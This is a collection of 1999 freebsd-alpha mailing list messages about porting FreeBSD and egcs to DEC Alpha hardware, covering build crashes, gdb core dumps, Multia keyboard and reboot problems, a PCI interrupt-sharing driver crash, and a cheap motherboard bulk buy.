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I'm glad somebody's working on egcs/alpha.

Regarding your patches ... in alpha/freebsd.h, I'd suggest adding
the following, taken from the end of i386/freebsd.h:

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At Thu, 08 Apr 1999 10:28:04 +0900,
Hidetoshi Shimokawa <simokawa@sat.t.u-tokyo.ac.jp> wrote:
> 
> Hi,
> 
> I have finally finished make world on alpha with egcs.
> Here is a fix.

I have nasty problem with "make", which sometimes gets signal 11.
There may be some problem with libc.so. A workaround is to add
'NOSHARED=YES' to /usr/src/usr.bin/make/Makefile.

I don't know why...

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At Wed, 7 Apr 1999 19:48:26 -0700 (PDT),
John Polstra <jdp@polstra.com> wrote:
> 
> I'm glad somebody's working on egcs/alpha.
> 
> Regarding your patches ... in alpha/freebsd.h, I'd suggest adding
> the following, taken from the end of i386/freebsd.h:
> 
> /* FreeBSD ELF using our home-grown crtbegin.o/crtend.o does not support the
>    DWARF2 unwinding mechanisms.  Once `make world' bootstraping problems with
>    the EGCS crtstuff.c is overcome, we will switch to the non-sjlj-exceptions 
>    type exception machanism.  */
> #define DWARF2_UNWIND_INFO 0
> 
> 

I added the line to freebsd.h, but compile failed because
'INCOMING_RETURN_ADDR_RTX' is not defined. it is defined only
in i386/i386.h but not in alpha/*.

BTW, dwarf2out.c is conditioned with '#ifdef DWARF2_DEBUGGING_INFO'.
Doesn't '#define DWARF2_UNWIND_INFO 0' mean enabling DWARF2?

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At Thu, 08 Apr 1999 14:28:25 +0900,
Hidetoshi Shimokawa <simokawa@sat.t.u-tokyo.ac.jp> wrote:
> I have nasty problem with "make", which sometimes gets signal 11.
> There may be some problem with libc.so. A workaround is to add
> 'NOSHARED=YES' to /usr/src/usr.bin/make/Makefile.

Sorry, this doesn't fix the problem.

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On Thu, 8 Apr 1999, Hidetoshi Shimokawa wrote:

> Hi,
> 
> I noticed that the name of default entry point is inconsistent on
> alpha. In /usr/src/lib/csu/alpha/crt1.c, it is "_start" and
> in /usr/src/contrib/binutils/ld/emulparams/elf64alpha.sh, it is
> "__start". 
> 
> Becasuse it is "_start" on i386, I think we should remove
> "ENTRY=__start" from elf64alpha.sh. Any comments?

Good idea. It should either be removed or changed to match reality :-)

> 
> P.S.
> I'm on the way of make buildworld with egcs. If it succeed,
> I will submit the fix for alpha tomorrow.

You have sorted out what is killing make?  I hope to be able to look into
that either this evening or tomorrow if you haven't fixed things before
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On Wed, 7 Apr 1999, Kedar Rajadnya wrote:

> Hello,
> 
> Can anybody please share the part number of the Alpha 164LX board that is
> working well with FreeBSD?

I don't have the part number but I can confirm that FreeBSD works well on
the 164LX motherboard.

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At Thu, 8 Apr 1999 10:20:18 +0100 (BST),
Doug Rabson <dfr@nlsystems.com> wrote:
> 
> On Thu, 8 Apr 1999, Hidetoshi Shimokawa wrote:
> 
> > Hi,
> > 
> > I noticed that the name of default entry point is inconsistent on
> > alpha. In /usr/src/lib/csu/alpha/crt1.c, it is "_start" and
> > in /usr/src/contrib/binutils/ld/emulparams/elf64alpha.sh, it is
> > "__start". 
> > 
> > Becasuse it is "_start" on i386, I think we should remove
> > "ENTRY=__start" from elf64alpha.sh. Any comments?
> 
> Good idea. It should either be removed or changed to match reality :-)

I will commit the change.

> > 
> > P.S.
> > I'm on the way of make buildworld with egcs. If it succeed,
> > I will submit the fix for alpha tomorrow.
> 
> You have sorted out what is killing make?  I hope to be able to look into
> that either this evening or tomorrow if you haven't fixed things before
> then.

Not yet. Please look into it.
I have no idea about how to solve it.
Your gdb port seems not to work anymore on my machine.

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Hidetoshi Shimokawa writes:
 > > 
 > > You have sorted out what is killing make?  I hope to be able to look into
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 > 
 > Not yet. Please look into it.
 > I have no idea about how to solve it.
 > Your gdb port seems not to work anymore on my machine.

I have a slightly newer gdb that I built mainly for post-mortem
kernel debugging.  If you get a chance, try
http://www.freebsd.org/~gallatin/gdb.gz.  I've not yet tried this with 
an egcs built world.

I'll start building the world with your changes (thanks!) and take a
look at it myself.  I make no promises; I'm generally not good with
compiler /  toolchain problems.

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At Thu,  8 Apr 1999 09:42:09 -0400 (EDT),
Andrew Gallatin <gallatin@cs.duke.edu> wrote:
> 
> 
> Hidetoshi Shimokawa writes:
>  > > 
>  > > You have sorted out what is killing make?  I hope to be able to look into
>  > > that either this evening or tomorrow if you haven't fixed things before
>  > > then.
>  > 
>  > Not yet. Please look into it.
>  > I have no idea about how to solve it.
>  > Your gdb port seems not to work anymore on my machine.
> 
> I have a slightly newer gdb that I built mainly for post-mortem
> kernel debugging.  If you get a chance, try
> http://www.freebsd.org/~gallatin/gdb.gz.  I've not yet tried this with 
> an egcs built world.
> 
> I'll start building the world with your changes (thanks!) and take a
> look at it myself.  I make no promises; I'm generally not good with
> compiler /  toolchain problems.

I recompiled gdb and it starts to work again.
But it cannot load core file. Is this the problem of gdb or
of cpu_coredump() in /sys/alpha/alpha/vm_machdep.c?
NetBSD seems to have more complex cpu_coredump().

I recommand you to backup under /usr before buildinstall.
libc has new function mkstemps() and egcs depends on it,
so I also recommand you to build libc with old gcc first and then
backup /usr. If you have more than two machines, you don't
have to do this :-)

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Hidetoshi Shimokawa writes:
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Darn!  I'd forgotten about this..  My gdb only works interactively for
user programs.

As to where the problem is, I have no clue.  That's why I never fixed
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Sorry..

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Hello,

I'm wondering how to boot into fbsd on an Alpha XL 266, without the SRM
console .. Is their a fbsd program like the
Linux linload.exe which loads MILO which then can load the kernel?

I was told that Alpha fbsd is pretty stabil .. I'm thinking bout running
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Christoffer Walther writes:
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Right now, your only option is SRM (and that's not an option for
you..)  There were people working on booting FreeBSD from the
AlphaBios, but I believe the project is stalled, possibly due to a
lack of documentation.

Sorry..

Drew

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Hidetoshi Shimokawa writes:
 > At Thu, 08 Apr 1999 10:28:04 +0900,
 > Hidetoshi Shimokawa <simokawa@sat.t.u-tokyo.ac.jp> wrote:
 > > 
 > > Hi,
 > > 
 > > I have finally finished make world on alpha with egcs.
 > > Here is a fix.
 > 
 > I have nasty problem with "make", which sometimes gets signal 11.
 > There may be some problem with libc.so. A workaround is to add
 > 'NOSHARED=YES' to /usr/src/usr.bin/make/Makefile.
 > 
 > I don't know why...

For what its worth, I've just survived 2 'make buildworld && make
installworld; reboot' ... cycles without make crashing.  I've also
build a kernel from a clean compile directory (and checked in a quick
fix for fp_emulate.c to get it building again under egcs). This is on
a 500Mhz 21264 (I'm working on support for the xp1000).

Is there anything in particular you need to do to cause make to crash?

Cheers,

Drew
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Andrew Gallatin writes:

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 > installworld; reboot' ... cycles without make crashing.  I've also

I should mention that this was using a totally clean /usr/src, checked
out at about 10am EST.

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> -----Original Message-----
> From: Andrew Gallatin [mailto:gallatin@cs.duke.edu]
> Sent: 08 April 1999 15:25
> To: Hidetoshi Shimokawa
> Cc: dfr@nlsystems.com; freebsd-alpha@FreeBSD.ORG
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> 
> 
> Hidetoshi Shimokawa writes:
>  > I recompiled gdb and it starts to work again.
>  > But it cannot load core file. Is this the problem of gdb or
>  > of cpu_coredump() in /sys/alpha/alpha/vm_machdep.c?
>  > NetBSD seems to have more complex cpu_coredump().
> 
> Darn!  I'd forgotten about this..  My gdb only works interactively for
> user programs.
> 
> As to where the problem is, I have no clue.  That's why I never fixed
> it. 

Ahh, that explains why I couldn't use it to do postmortem analysis then!

I couldn't use it to do interactive debugging either since I couldn't get
the FreeBSD hacks to use the serial port for remote gdb and the console to
work. 

My alpha work is temporarily sidelined since I'm a bit busy and the Multia
is proving a challenge to do development work on.

1) NFS crashes when you load it as a KLD, consistently reproducible. NFS is
essential since there's too little disk on the Multia to do any development
work.
2) No TGA support so you have to use the serial console which precludes
using remote GDB.
3) No GDB support for core dumps, so effectively there's no GDB support at
all for me.
4) Although I've put a Matrox millenium PCI card in, syscons doesn't see it.
vga0 detects it but syscons doesn't.

Hopefully in another week I'll have more time to look into some of these
problems again.


Paul.


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Hidetoshi Shimokawa wrote:
> At Wed, 7 Apr 1999 19:48:26 -0700 (PDT),
> John Polstra <jdp@polstra.com> wrote:
>> 
>> #define DWARF2_UNWIND_INFO 0
> 
> I added the line to freebsd.h, but compile failed because
> 'INCOMING_RETURN_ADDR_RTX' is not defined. it is defined only
> in i386/i386.h but not in alpha/*.

Oh.  Sorry for the bad advice, then.  I guess the dwarf2 exceptions
must not be supported on the alpha at this time.

> BTW, dwarf2out.c is conditioned with '#ifdef DWARF2_DEBUGGING_INFO'.
> Doesn't '#define DWARF2_UNWIND_INFO 0' mean enabling DWARF2?

I thought it meant enable DWARF2 but leave the default for exceptions
as setjmp-longjmp.  But I obviously don't understand it as well as I
thought I did. :-}

John
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paul@originative.co.uk writes:
 > > Darn!  I'd forgotten about this..  My gdb only works interactively for
 > > user programs.
 > > 
 > > As to where the problem is, I have no clue.  That's why I never fixed
 > > it. 
 > 
 > Ahh, that explains why I couldn't use it to do postmortem analysis then!

You can't use it for postmortem analysis of user programs, but it
*should* work for postmortem analysis of kernel crashdumps. 
The code that writes these two types of core files is totally
different.  I've had problems getting a proper stack trace out if it
(sometimes it works, sometimes it doesn't, and I'm not good enough at
hacking gdb to know how to fix it or even what's wrong), but you
should be able to get a valid crashdump and at least look at global
variables.  In the worst case, you should at least be able to get a
trace with ddb on the way down.

I'm eagerly looking forward to somebody with a clue getting gdb
working on alphas... 

Drew

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At Thu,  8 Apr 1999 16:37:21 -0400 (EDT),
Andrew Gallatin <gallatin@cs.duke.edu> wrote:
> 
> 
> Hidetoshi Shimokawa writes:
>  > At Thu, 08 Apr 1999 10:28:04 +0900,
>  > Hidetoshi Shimokawa <simokawa@sat.t.u-tokyo.ac.jp> wrote:
>  > > 
>  > > Hi,
>  > > 
>  > > I have finally finished make world on alpha with egcs.
>  > > Here is a fix.
>  > 
>  > I have nasty problem with "make", which sometimes gets signal 11.
>  > There may be some problem with libc.so. A workaround is to add
>  > 'NOSHARED=YES' to /usr/src/usr.bin/make/Makefile.
>  > 
>  > I don't know why...
> 
> For what its worth, I've just survived 2 'make buildworld && make
> installworld; reboot' ... cycles without make crashing.  I've also
> build a kernel from a clean compile directory (and checked in a quick
> fix for fp_emulate.c to get it building again under egcs). This is on
> a 500Mhz 21264 (I'm working on support for the xp1000).

Good to hear it.

> Is there anything in particular you need to do to cause make to crash?

It turns out due to over clocking...
After change the clock from 666MHz to normal 600MHz, I can finish the
make world without crash.
(I changed SCSI card, removed video card and installed other PCI card
at the same time but they must not be the reason of the problem.)

Sorry to bother you folks.

Anyway, I think egcs on alpha fair enough now.

I'm going to make world/kernel with '-Os -mcpu=ev56'.

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I've got a DEC Multia up reasonably well minus a few problems.  I'm
generally running a the late March SNAPSHOT with a 3.1 Release userland.

Issue 1 - 4.x Kernel (any snapshot from February through 3/26 and CURRENT)
doesn't read the keyboard. 3.1-RELEASE/GENERIC kernel does.  The console
isn't locked because output to /dev/console works.  Obviously the getty is
on /dev/console and not /dev/ttyvN on the Multia.  Any pointers for Keyboard
parameters to play with?  I've tried doing a diff of 3.1-RELEASE versus 4.x
but the keyboard code has changed a lot.  Note that NumLock/CapsLock toggle
on and off, just no input.  Other wierdnesses are that the load program sees
KB input, upper and lower case, but ? comes through as / and some other
similar wierdness.

Issue 2 - Random crashes.  With 3.1-RELEASE the system will randomly just
restart without any messages from the kernel or a core dump.  It's pretty
consistently related to lots of disk activity especially with more than one
process.  With the latest 4.x SNAPSHOT things are much more stable and it's
only done that once.

Issue 3 - Are kernel coredumps supposed to work on the Alpha port yet?  I've
never had one occur on a crash.  
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There is no TGA driver so at the point in time that a switch to real as
oppsed to PROM drivers happens, console input/output goes away.

Use a serial line for a console.


On Fri, 9 Apr 1999, Gooderum, Mark wrote:

> I've got a DEC Multia up reasonably well minus a few problems.  I'm
> generally running a the late March SNAPSHOT with a 3.1 Release userland.
> 
> Issue 1 - 4.x Kernel (any snapshot from February through 3/26 and CURRENT)
> doesn't read the keyboard. 3.1-RELEASE/GENERIC kernel does.  The console
> isn't locked because output to /dev/console works.  Obviously the getty is
> on /dev/console and not /dev/ttyvN on the Multia.  Any pointers for Keyboard
> parameters to play with?  I've tried doing a diff of 3.1-RELEASE versus 4.x
> but the keyboard code has changed a lot.  Note that NumLock/CapsLock toggle
> on and off, just no input.  Other wierdnesses are that the load program sees
> KB input, upper and lower case, but ? comes through as / and some other
> similar wierdness.
> 
> Issue 2 - Random crashes.  With 3.1-RELEASE the system will randomly just
> restart without any messages from the kernel or a core dump.  It's pretty
> consistently related to lots of disk activity especially with more than one
> process.  With the latest 4.x SNAPSHOT things are much more stable and it's
> only done that once.
> 
> Issue 3 - Are kernel coredumps supposed to work on the Alpha port yet?  I've
> never had one occur on a crash.  
> --
> Mark Gooderum
> mark@jumpweb.com
> 
> 
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I've been working on a few things now that I've gotten things up...mostly
NIC related.

Earlier I made an attempt to get the rl0 (RealTek) driver working and ran
into some problems. More recently I grabbed the updated Ethernet drivers and
tried with a Netgear 310FX and the pn0 driver. The changes I made to if_rl.c
were similar to what was done to if_pn.c (substitute some of the x86
constants with Alpha ones, adjust a couple of virtual to physical
expressions).

What's odd is that both drivers (with the appropriate card) crash exactly
the name way.

In xx_attach() the code makes it through the function and prints the initial
line for the card (w/irq, etc).  Both pn_attach() and rl_attach()
successfully get through mapping the I/O (and/or memory, I've built both
drivers both ways) can get to the call to pci_map_int().  pci_map_int()
calls pci_map_int_right() which calls intr_connect().  intr_connect() gets
as far calling intr_create().  intr_create() crashes because
BUS_ALLOC_RESOURCE returns NULL and intr_create() calls BUS_SETUP_INTR where
the deferference of the NULL pointer for "res" causes the crash, the
offending code from pcibus.c looks like:

        res = BUS_ALLOC_RESOURCE(pcib, NULL, SYS_RES_IRQ, &zero,
                                irq, irq, 1, RF_SHAREABLE | RF_ACTIVE);
/** NOTE: res is NULL at this point if duplicate irq probed so BOOM **/
        if (BUS_SETUP_INTR(pcib, pcib, res, (driver_intr_t *)handler,fg
                           arg, &cookie))
                return 0;

From the printf() debugging the call sequence appears (with the pn0 driver,
the rl0 driver looks the same other than some code motion).  This is the
actual dmesg output with my debugging statements:

pn0: <82c168/82c169 PNIC 10/100BaseTX> rev 0x21 int a irq 15 on pci0.12.0
pn0: pn_attach(0xfffffe0000231c90, 0)
pn0: Doing power mgmt...
pn0: Mapping control/status regs...
pn0: Mapping IO/Memory...
pn0: Calling pci_map_int(ci=0xfffffe0000231c90, pi=0xfffffc0000467da8,
sc=0xfffffe0000236000, ni=0xfffffc00005915ec/0)
pci_map_int: Calling pci_map_int_right(cfg=0xfffffe0000231c90,
ha=0xfffffc0000467da8, a=0xfffffe0000236000, maskptr=0xfffffc00005915ec/0,
fl=0)
pci_map_int_right: Calling intr_create(di=0xffffffffffffffff, irq=15,
hand=0xfffffc0000467da8, arg=0xfffffe0000236000, mp=0xfffffc00005915ec/0,
fl=0)
intr_create(di=0xffffffffffffffff, irq=15, ihand=0xfffffc0000467da8,
arg=0xfffffe0000236000, imaskp=0xfffffc00005915ec/0, fl=0)
intr_create: BUS_ALLOC_RESOURCE=0

fatal kernel trap:
    trap entry = 0x2 (memory management fault)
    a0         = 0x50
    a1         = 0x1
    a2         = 0x0
    pc         = 0xfffffc0000388d1c
    ra         = 0xfffffc00004cd1d4
    curproc    = 0
ddbprinttrap(0x50, 0x1, 0x0, 0x2)
panic: trap
panic

For comparison the sucessfull sequence for de0 looks like:

de0: <Digital 21040 Ethernet> rev 0x23 int a irq 15 on pci0.8.0
pci_map_int: Calling pci_map_int_right(cfg=0xfffffe0000231f90,
ha=0xfffffc000045f548, a=0xfffffe0000233800, maskptr=0xfffffc00005915ec/0,
fl=0)
pci_map_int_right: Calling intr_create(di=0xffffffffffffffff, irq=15,
hand=0xfffffc000045f548, arg=0xfffffe0000233800, mp=0xfffffc00005915ec/0,
fl=0)
intr_create(di=0xffffffffffffffff, irq=15, ihand=0xfffffc000045f548,
arg=0xfffffe0000233800, imaskp=0xfffffc00005915ec/0, fl=0)
intr_create: BUS_ALLOC_RESOURCE=0xfffffe0000231f00
intr_create: returning 0xfffffe0000229940
pci_map_int_right: Calling intr_connect(id=0xfffffe0000229940)
de0: DEC 21040 [10Mb/s] pass 2.3
de0: address 08:00:2b:e2:c7:eb
 
It's worth noting that both the RealTek and the Netgear card probe at IRQ 15
(same as de0).  I've tried to get the de to probe 2nd to see if there is
some kind of order dependency to the crash, but order in the config file
doesn't seem to make a difference.  I'm assuming the PCI probs end up
happening in card number order (making de0 on the motherboard always come
first).
 
So...any ideas on how to:

	
*	Share IRQ's
*	Get the Multia to change the autoconf of the card to a seperate IRQ
*	Force the software (kernel) to remap the card to an alternate IRQ

For now,
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On Fri, 9 Apr 1999, Gooderum, Mark wrote:

> I've got a DEC Multia up reasonably well minus a few problems.  I'm
> generally running a the late March SNAPSHOT with a 3.1 Release userland.
> 
> Issue 1 - 4.x Kernel (any snapshot from February through 3/26 and CURRENT)
> doesn't read the keyboard. 3.1-RELEASE/GENERIC kernel does.  The console
> isn't locked because output to /dev/console works.  Obviously the getty is
> on /dev/console and not /dev/ttyvN on the Multia.  Any pointers for Keyboard
> parameters to play with?  I've tried doing a diff of 3.1-RELEASE versus 4.x
> but the keyboard code has changed a lot.  Note that NumLock/CapsLock toggle
> on and off, just no input.  Other wierdnesses are that the load program sees
> KB input, upper and lower case, but ? comes through as / and some other
> similar wierdness.

Possibly you need to change your kernel config file. The 4.0 kernels use
the new syscons and keyboard drivers and they have slightly different
config requirements. Check the contents of GENERIC for details.

> 
> Issue 2 - Random crashes.  With 3.1-RELEASE the system will randomly just
> restart without any messages from the kernel or a core dump.  It's pretty
> consistently related to lots of disk activity especially with more than one
> process.  With the latest 4.x SNAPSHOT things are much more stable and it's
> only done that once.

I'm not too sure what to suggest. Has anyone else noticed this on 3.1?

> 
> Issue 3 - Are kernel coredumps supposed to work on the Alpha port yet?  I've
> never had one occur on a crash.  

Crashdumps are now supported in 4.0 (fairly recently). To interpret them,
you will need some gdb patches from Andrew Gallatin.

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On Fri, 9 Apr 1999, Gooderum, Mark wrote:

> I've been working on a few things now that I've gotten things up...mostly
> NIC related.
> 
> Earlier I made an attempt to get the rl0 (RealTek) driver working and ran
> into some problems. More recently I grabbed the updated Ethernet drivers and
> tried with a Netgear 310FX and the pn0 driver. The changes I made to if_rl.c
> were similar to what was done to if_pn.c (substitute some of the x86
> constants with Alpha ones, adjust a couple of virtual to physical
> expressions).
> 
> What's odd is that both drivers (with the appropriate card) crash exactly
> the name way.
> 
> In xx_attach() the code makes it through the function and prints the initial
> line for the card (w/irq, etc).  Both pn_attach() and rl_attach()
> successfully get through mapping the I/O (and/or memory, I've built both
> drivers both ways) can get to the call to pci_map_int().  pci_map_int()
> calls pci_map_int_right() which calls intr_connect().  intr_connect() gets
> as far calling intr_create().  intr_create() crashes because
> BUS_ALLOC_RESOURCE returns NULL and intr_create() calls BUS_SETUP_INTR where
> the deferference of the NULL pointer for "res" causes the crash, the
> offending code from pcibus.c looks like:
> 
>         res = BUS_ALLOC_RESOURCE(pcib, NULL, SYS_RES_IRQ, &zero,
>                                 irq, irq, 1, RF_SHAREABLE | RF_ACTIVE);
> /** NOTE: res is NULL at this point if duplicate irq probed so BOOM **/
>         if (BUS_SETUP_INTR(pcib, pcib, res, (driver_intr_t *)handler,fg
>                            arg, &cookie))
>                 return 0;

I fixed a bug in subr_rman.c where more than two clients attempted to
share a resource. Can you check that you have version 1.5 of subr_rman.c

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> I've been wondering if it's dodgy hardware due to Thermal Loading.

That was my first thought.  After wading through tons of Multia links, I
ordered an 18 CFM cooling fan from McMaster Carr to replace the existing 6
CFM fan.  This made no difference on the reboot front :(  It could also
mean my efforts were too late and my RAM was permanently impaired by heat 
damage.

> At one point I got a series of ncr0 firmware errors similar to those
> mentioned earlier, shut the system down and let it cool for a while and
> those problems went away.  

Do you have an internal drive?  The first thing I did was move my SCSI
drive to an external case.

> Subjectively the box seems to stay cooler in a horizontal mode than vertical
> in the little plastic stand supplied.  I think part of the problem is
> vertical as the stand put's it, the P/S fan is blowing _against_ natural
> convection accross the Alpha CPU's heat sink.

I've heard the exact opposite...  My fans were both pulling air upwards
when the case was vertical.  With heat's natural tendency to rise I would
think vertical is a better orientation ;)  (Note the power button is
towards the top when mounted vertically)

- Bruce

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> > Issue 2 - Random crashes.  With 3.1-RELEASE the system will randomly just
> > restart without any messages from the kernel or a core dump.  It's pretty
> > consistently related to lots of disk activity especially with more than one
> > process.  With the latest 4.x SNAPSHOT things are much more stable and it's
> > only done that once.
> 
> I'm not too sure what to suggest. Has anyone else noticed this on 3.1?

Yes.  On my multia.  I shot some messages through this list approximately
a month ago.  I wound up building my tree on my Miata and sending it over
the net to the Multia.

The best guess before was dodgy hardware, most likely the memory.  I've
been toying with buying new RAM, but true parity is a bit pricey right
now.  (And will continue to be so as things move toward SDRAM)

4.0 decreased the frequency of these reboots, but did not eliminate them
as I had first thought.  Due to time constraints I've not been able to
play with the system recently.  If any more info becomes available I'd
love to hear it.

- Bruce

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I assume that Thor has no problems with me forwarding this to
the FreeBSD/alpha list as well. Bulk prices tend to drop with 
volume.. ;-)

Wilko

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I've found a source of very cheap AlphaPC164 motherboards, with 500MHz CPU.

They have no memory, and no case or power supply (they take ECC FPM DRAM,
*not* SDRAM, and have 8 SIMM slots of which either 4 or 8 must be filled
with the same size parts) -- they should fit in standard ATX cases, but
require a special power supply ($70-$90, details available) which has a
normal "hard" power switch instead of the ATX "soft" switch.

There is absolutely *no* warranty or guarantee, and the boards are as-is -- 
though (if you trust me) I can tell you that they come from what I'd call a
very reliable source.  They'll cost around $150-$200/ea, plus shipping.

I'm very unlikely to make any money from this; I'm mentioning it here because
NetBSD/alpha runs great on these boards and, aside from the new 21264-based
systems, they're actually some of the fastest systems NetBSD runs on, period.
I'd like to see more people running NetBSD/alpha and I see this as a good
opportunity to help the interested do so for cheap.

I'm going to do a bulk purchase of these boards in the near future -- let
me know in the next few days if you're intersted.

Thor

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On Fri, 9 Apr 1999, Hidetoshi Shimokawa wrote:

> At Thu,  8 Apr 1999 16:37:21 -0400 (EDT),
> Andrew Gallatin <gallatin@cs.duke.edu> wrote:
> > 
> > 
> > Hidetoshi Shimokawa writes:
> >  > At Thu, 08 Apr 1999 10:28:04 +0900,
> >  > Hidetoshi Shimokawa <simokawa@sat.t.u-tokyo.ac.jp> wrote:
> >  > > 
> >  > > Hi,
> >  > > 
> >  > > I have finally finished make world on alpha with egcs.
> >  > > Here is a fix.
> >  > 
> >  > I have nasty problem with "make", which sometimes gets signal 11.
> >  > There may be some problem with libc.so. A workaround is to add
> >  > 'NOSHARED=YES' to /usr/src/usr.bin/make/Makefile.
> >  > 
> >  > I don't know why...
> > 
> > For what its worth, I've just survived 2 'make buildworld && make
> > installworld; reboot' ... cycles without make crashing.  I've also
> > build a kernel from a clean compile directory (and checked in a quick
> > fix for fp_emulate.c to get it building again under egcs). This is on
> > a 500Mhz 21264 (I'm working on support for the xp1000).
> 
> Good to hear it.
> 
> > Is there anything in particular you need to do to cause make to crash?
> 
> It turns out due to over clocking...
> After change the clock from 666MHz to normal 600MHz, I can finish the
> make world without crash.
> (I changed SCSI card, removed video card and installed other PCI card
> at the same time but they must not be the reason of the problem.)
> 
> Sorry to bother you folks.
> 
> Anyway, I think egcs on alpha fair enough now.

I have done a few -j8 buildworlds now without problem too.

> 
> I'm going to make world/kernel with '-Os -mcpu=ev56'.

That might be interesting..

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In case you didn't see this.

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> I've found a source of very cheap AlphaPC164 motherboards, with 500MHz CPU.
> 
> They have no memory, and no case or power supply (they take ECC FPM DRAM,
> *not* SDRAM, and have 8 SIMM slots of which either 4 or 8 must be filled
> with the same size parts) -- they should fit in standard ATX cases, but
> require a special power supply ($70-$90, details available) which has a
> normal "hard" power switch instead of the ATX "soft" switch.
> 
> There is absolutely *no* warranty or guarantee, and the boards are as-is -- 
> though (if you trust me) I can tell you that they come from what I'd call a
> very reliable source.  They'll cost around $150-$200/ea, plus shipping.
> 
> I'm very unlikely to make any money from this; I'm mentioning it here because
> NetBSD/alpha runs great on these boards and, aside from the new 21264-based
> systems, they're actually some of the fastest systems NetBSD runs on, period.
> I'd like to see more people running NetBSD/alpha and I see this as a good
> opportunity to help the interested do so for cheap.
> 
> I'm going to do a bulk purchase of these boards in the near future -- let
> me know in the next few days if you're intersted.
> 
> Thor
> 
> -- 
> Thor Lancelot Simon	                                      tls@rek.tjls.com
> 	"And where do all these highways go, now that we are free?"

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> > > Issue 2 - Random crashes... 
> Yes.  On my multia.  I shot some messages through this list approximately
> a month ago.  I wound up building my tree on my Miata and sending it over
> the net to the Multia.
> 
> The best guess before was dodgy hardware, most likely the memory....

My memory should be pretty good.  I've got 64M of DEC branded true parity
RAM salvaged from an old 590XL (more recently known as Celebris') that has
functioned fine in other systems.

I've been wondering if it's dodgy hardware due to Thermal Loading.  The
Multia Service manual says the machine should be a maximum internal air
temperature of 40 Deg. Cent. which is only 104 Deg. Far. which really isn't
very warm.  The area of the MB around the Alpha chip and the Alpha chip heat
sink gets up to right below the pain threshold, which makes it about 130-140
Deg Far.  I don't have a decent thermometer anymore for actually measuring
the air temp in the case.

At one point I got a series of ncr0 firmware errors similar to those
mentioned earlier, shut the system down and let it cool for a while and
those problems went away.  

Subjectively the box seems to stay cooler in a horizontal mode than vertical
in the little plastic stand supplied.  I think part of the problem is
vertical as the stand put's it, the P/S fan is blowing _against_ natural
convection accross the Alpha CPU's heat sink.
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On Sun, 11 Apr 1999, Wilko Bulte wrote:

> I assume that Thor has no problems with me forwarding this to
> the FreeBSD/alpha list as well. Bulk prices tend to drop with 
> volume.. ;-)
> 
> Wilko
> 
> ----- Forwarded message from Thor Lancelot Simon -----
> 
> I've found a source of very cheap AlphaPC164 motherboards, with 500MHz CPU.

I went looking on http://www.digital.com/alphaoem/alphamb.htm, and they
show 3 PC164 motherboards, an -RX, -SX, and -LX versions of PC164.  Do
you know which one this is, so I can look at the specs?

> 
> They have no memory, and no case or power supply (they take ECC FPM DRAM,
> *not* SDRAM, and have 8 SIMM slots of which either 4 or 8 must be filled
> with the same size parts) -- they should fit in standard ATX cases, but
> require a special power supply ($70-$90, details available) which has a
> normal "hard" power switch instead of the ATX "soft" switch.
> 
> There is absolutely *no* warranty or guarantee, and the boards are as-is -- 
> though (if you trust me) I can tell you that they come from what I'd call a
> very reliable source.  They'll cost around $150-$200/ea, plus shipping.
> 
> I'm very unlikely to make any money from this; I'm mentioning it here because
> NetBSD/alpha runs great on these boards and, aside from the new 21264-based
> systems, they're actually some of the fastest systems NetBSD runs on, period.
> I'd like to see more people running NetBSD/alpha and I see this as a good
> opportunity to help the interested do so for cheap.
> 
> I'm going to do a bulk purchase of these boards in the near future -- let
> me know in the next few days if you're intersted.
> 
> Thor
> 
> -- 
> Thor Lancelot Simon	                                      tls@rek.tjls.com
> 	"And where do all these highways go, now that we are free?"
> 
> ----- End of forwarded message from Thor Lancelot Simon -----
> 
> Groeten / Cheers,
> Wilko
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In article <Pine.BSF.4.05.9904101828320.74823-100000@herring.nlsystems.com>,
Doug Rabson <dfr@nlsystems.com> writes:

>> Issue 2 - Random crashes.  With 3.1-RELEASE the system will randomly just
>> restart without any messages from the kernel or a core dump.  It's pretty
>> consistently related to lots of disk activity especially with more than one
>> process.  With the latest 4.x SNAPSHOT things are much more stable and it's
>> only done that once.

> I'm not too sure what to suggest. Has anyone else noticed this on 3.1?

I am using 3.1-RELEASE on a 433au configured to operate as a caching
proxy WWW server.  After a week of use, I have not seen this behavior.
After resolving some initial driver problems, the machine has not gone
down unless I asked it to do so.

Also, I have run multiple concurrent copies of the PostMark benchmark
(each of which places a very high load on the disk) and have seen no
problems.

Loren


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On Mon, 12 Apr 1999, Loren J. Rittle wrote:

> In article <Pine.BSF.4.05.9904101828320.74823-100000@herring.nlsystems.com>,
> Doug Rabson <dfr@nlsystems.com> writes:
> 
> >> Issue 2 - Random crashes.  With 3.1-RELEASE the system will randomly just
> >> restart without any messages from the kernel or a core dump.  It's pretty
> >> consistently related to lots of disk activity especially with more than one
> >> process.  With the latest 4.x SNAPSHOT things are much more stable and it's
> >> only done that once.
> 
> > I'm not too sure what to suggest. Has anyone else noticed this on 3.1?

Yes, but only for the multia.



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On Mon, 12 Apr 1999, Matthew Jacob wrote:

> > >> Issue 2 - Random crashes.  With 3.1-RELEASE the system will randomly just
> > [SNIP]
> > > I'm not too sure what to suggest. Has anyone else noticed this on 3.1?
> 
> Yes, but only for the multia.

I'd be interested in finding out whether this is a 'FreeBSD thing' or a
'Multia thing.'  I also run a 500au which does not show any signs of this
problem.  Of course, the Multia is a cat with different spots.  Short of
running NetBSD or Linux for a few weeks, does anyone have any suggestions
on how to try to narrow the possibilities of what could be causing these
reboots without panics?

Also, does anyone out there have Multia success stories, or are we the
only ones unlucky enough to be bothering with them?

- Bruce

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> On Mon, 12 Apr 1999, Matthew Jacob wrote:
> 
> > > >> Issue 2 - Random crashes.  With 3.1-RELEASE the system will randomly just
> > > [SNIP]
> > > > I'm not too sure what to suggest. Has anyone else noticed this on 3.1?
> > 
> > Yes, but only for the multia.
> 
> I'd be interested in finding out whether this is a 'FreeBSD thing' or a
> 'Multia thing.'  I also run a 500au which does not show any signs of this
> problem.  Of course, the Multia is a cat with different spots.  Short of
> running NetBSD or Linux for a few weeks, does anyone have any suggestions

I've had it do this occasionally on Linux, but only for a really flakey
older multia (is there any other kind)? I've not had this happen under
NetBSD, but I haven't run NetBSD under load on a multia in 2 years.

> on how to try to narrow the possibilities of what could be causing these
> reboots without panics?
> 
> Also, does anyone out there have Multia success stories, or are we the
> only ones unlucky enough to be bothering with them?
> 

These are success stories. They allow somebody to try the alpha
architecture for < 500$. If you then realize that this particular alpha is
5-6 year old technology and quite quite slow, but otherwise seems
interesting, you're then probably interested enough to spend the 2-4K$ for
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Hello,

I am interested in installing FreeBSD Alpha on my 21164A 533 Mhz. on a
